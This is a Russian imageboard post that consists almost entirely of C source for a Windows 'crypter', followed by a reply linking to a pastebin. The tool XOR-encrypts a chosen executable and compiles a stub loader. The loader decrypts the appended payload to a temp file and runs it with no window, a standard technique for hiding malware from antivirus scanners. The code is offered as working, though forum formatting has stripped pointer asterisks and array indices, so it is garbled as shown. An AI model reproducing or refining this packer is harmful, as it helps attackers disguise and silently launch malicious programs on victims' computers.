Ответ
(оставьте это поле пустым)
Пароль (чтобы удалить пост или файл)

114    
17762579400340.png   (163Кб, 1125x2436)   Показана уменьшенная копия, оригинал по клику.
163
// cryptor_final_working.c
// Компиляция: gcc -m32 -o cryptor.exe cryptor_final_working.c -lgdi32 -lcomctl32 -luser32 -mwindows

#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <direct.h>

// -------------------------------------------------------------
// Генерация stub.c (загрузчик) — расшифровка + временный файл + запуск
// -------------------------------------------------------------
int compile_stub(const char stub_c_path, const char stub_exe_path, unsigned char xor_key) {
char cmd[1024];
FILE f = fopen(stub_c_path, "w");
if (!f) return 0;
fprintf(f,
"#include <windows.h>\n"
"#include <stdio.h>\n"
"#define XOR_KEY 0x%02X\n"
"#define MAGIC \"CRYP\"\n"
"\n"
"int WINAPI WinMain(HINSTANCE h, HINSTANCE p, LPSTR c, int s) {\n"
" char mypath[MAX_PATH];\n"
" GetModuleFileNameA(NULL, mypath, MAX_PATH);\n"
" HANDLE f = CreateFileA(mypath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);\n"
" if (f == INVALID_HANDLE_VALUE) return 1;\n"
" DWORD size = GetFileSize(f, NULL);\n"
" if (size < 8) { CloseHandle(f); return 2; }\n"
" DWORD payload_size;\n"
" char magic[5] = {0};\n"
" DWORD read;\n"
" SetFilePointer(f, -8, NULL, FILE_END);\n"
" ReadFile(f, &payload_size, 4, &read, NULL);\n"
" ReadFile(f, magic, 4, &read, NULL);\n"
" if (memcmp(magic, MAGIC, 4) != 0) { CloseHandle(f); return 3; }\n"
" if (payload_size == 0 || payload_size > 200
10241024) { CloseHandle(f); return 4; }\n"
" SetFilePointer(f, -(payload_size + 8), NULL, FILE_END);\n"
" unsigned char
enc = (unsigned char)VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_READWRITE);\n"
" if (!enc) { CloseHandle(f); return 5; }\n"
" ReadFile(f, enc, payload_size, &read, NULL);\n"
" CloseHandle(f);\n"
" unsigned char
dec = (unsigned char)VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_READWRITE);\n"
" if (!dec) { VirtualFree(enc, 0, MEM_RELEASE); return 6; }\n"
" for (DWORD i = 0; i < payload_size; i++) dec = enc ^ XOR_KEY;\n"
" VirtualFree(enc, 0, MEM_RELEASE);\n"
" char temp[MAX_PATH];\n"
" GetTempPathA(MAX_PATH, temp);\n"
" GetTempFileNameA(temp, \"tmp\", 0, temp);\n"
" HANDLE out = CreateFileA(temp, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n"
" if (out == INVALID_HANDLE_VALUE) { VirtualFree(dec, 0, MEM_RELEASE); return 7; }\n"
" DWORD written;\n"
" WriteFile(out, dec, payload_size, &written, NULL);\n"
" CloseHandle(out);\n"
" VirtualFree(dec, 0, MEM_RELEASE);\n"
" STARTUPINFOA si = {sizeof(si)};\n"
" PROCESS_INFORMATION pi;\n"
" if (!CreateProcessA(temp, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {\n"
" DeleteFileA(temp);\n"
" return 8;\n"
" }\n"
" WaitForSingleObject(pi.hProcess, INFINITE);\n"
" CloseHandle(pi.hProcess);\n"
" CloseHandle(pi.hThread);\n"
" DeleteFileA(temp);\n"
" return 0;\n"
"}\n", xor_key);
fclose(f);
sprintf(cmd, "gcc -m32 -o \"%s\" \"%s\" -mwindows -luser32 -lkernel32", stub_exe_path, stub_c_path);
int ret = system(cmd);
return (ret == 0);
}

// -------------------------------------------------------------
// Основная функция криптора
// -------------------------------------------------------------
void crypt_file(const char
input_path, const char output_path) {
FILE
f = fopen(input_path, "rb");
if (!f) { MessageBoxA(NULL, "Не удалось открыть входной файл", "Ошибка", MB_ICONERROR); return; }
fseek(f, 0, SEEK_END);
long pe_size = ftell(f);
rewind(f);
unsigned char pe_data = (unsigned char)malloc(pe_size);
fread(pe_data, 1, pe_size, f);
fclose(f);

srand((unsigned int)time(NULL));
unsigned char xor_key = (unsigned char)(rand() % 256);
for (long i = 0; i < pe_size; i++) pe_data ^= xor_key;

char stub_c[] = "stub_temp.c";
char stub_exe[] = "stub_temp.exe";
if (!compile_stub(stub_c, stub_exe, xor_key)) {
MessageBoxA(NULL, "Ошибка компиляции stub. Убедитесь, что gcc в PATH", "Ошибка", MB_ICONERROR);
free(pe_data);
return;
}

f = fopen(stub_exe, "rb");
if (!f) { MessageBoxA(NULL, "Не удалось прочитать stub", "Ошибка", MB_ICONERROR); free(pe_data); return; }
fseek(f, 0, SEEK_END);
long stub_size = ftell(f);
rewind(f);
unsigned char stub_data = (unsigned char)malloc(stub_size);
fread(stub_data, 1, stub_size, f);
fclose(f);

FILE out = fopen(output_path, "wb");
if (!out) {
MessageBoxA(NULL, "Не удалось создать выходной файл", "Ошибка", MB_ICONERROR);
free(pe_data); free(stub_data);
return;
}
fwrite(stub_data, 1, stub_size, out);
fwrite(pe_data, 1, pe_size, out);
fwrite(&pe_size, 4, 1, out);
fwrite("CRYP", 1, 4, out);
fclose(out);

remove(stub_c);
remove(stub_exe);
free(pe_data);
free(stub_data);

MessageBoxA(NULL, "Криптование успешно!\n_crypted.exe создан и будет работать без ошибок.", "Успех", MB_OK);
}

// -------------------------------------------------------------
// GUI (без изменений)
// -------------------------------------------------------------
HWND hStaticFile, hButtonCrypt;
char selectedFilePath[MAX_PATH] = {0};

void select_file(HWND hwnd) {
OPENFILENAMEA ofn = {0};
char file[MAX_PATH] = {0};
ofn.lStructSize = sizeof(ofn);
ofn.hwndOwner = hwnd;
ofn.lpstrFilter = "Executable\0
.exe\0";
ofn.lpstrFile = file;
ofn.nMaxFile = MAX_PATH;
ofn.Flags = OFN_FILEMUSTEXIST;
if (GetOpenFileNameA(&ofn)) {
strcpy(selectedFilePath, file);
SetWindowTextA(hStaticFile, file);
EnableWindow(hButtonCrypt, TRUE);
}
}

void do_crypt(HWND hwnd) {
if (strlen(selectedFilePath) == 0) return;
char out[MAX_PATH];
strcpy(out, selectedFilePath);
char dot = strrchr(out, '.');
if (dot)
dot = 0;
strcat(out, "_crypted.exe");
crypt_file(selectedFilePath, out);
}

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) {
switch (msg) {
case WM_COMMAND:
if (LOWORD(wp) == 1) select_file(hwnd);
if (LOWORD(wp) == 2) do_crypt(hwnd);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default: return DefWindowProcA(hwnd, msg, wp, lp);
}
return 0;
}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
INITCOMMONCONTROLSEX icc = {sizeof(icc), ICC_WIN95_CLASSES};
InitCommonControlsEx(&icc);

WNDCLASSEXA wc = {0};
wc.cbSize = sizeof(WNDCLASSEXA);
wc.lpfnWndProc = WndProc;
wc.hInstance = hInst;
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.lpszClassName = "CrypterClass";
RegisterClassExA(&wc);

HWND hwnd = CreateWindowExA(0, "CrypterClass", "Crypter v6.0 - Working (temp file)",
WS_OVERLAPPEDWINDOW & ~WS_MAXIMIZEBOX, 100, 100, 420, 150,
NULL, NULL, hInst, NULL);
if (!hwnd) return 0;

CreateWindowExA(0, "BUTTON", "Select EXE", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
20, 20, 100, 30, hwnd, (HMENU)1, hInst, NULL);
hStaticFile = CreateWindowExA(0, "STATIC", "No file", WS_CHILD | WS_VISIBLE | SS_LEFT,
130, 25, 250, 20, hwnd, NULL, hInst, NULL);
hButtonCrypt = CreateWindowExA(0, "BUTTON", "Criptar", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
20, 70, 100, 30, hwnd, (HMENU)2, hInst, NULL);
EnableWindow(hButtonCrypt, FALSE);

ShowWindow(hwnd, nShow);
UpdateWindow(hwnd);

MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
>> 115  
>>114
https://pastebin.com/UPpG61jb


[Обновить тред]
Удалить пост
Пароль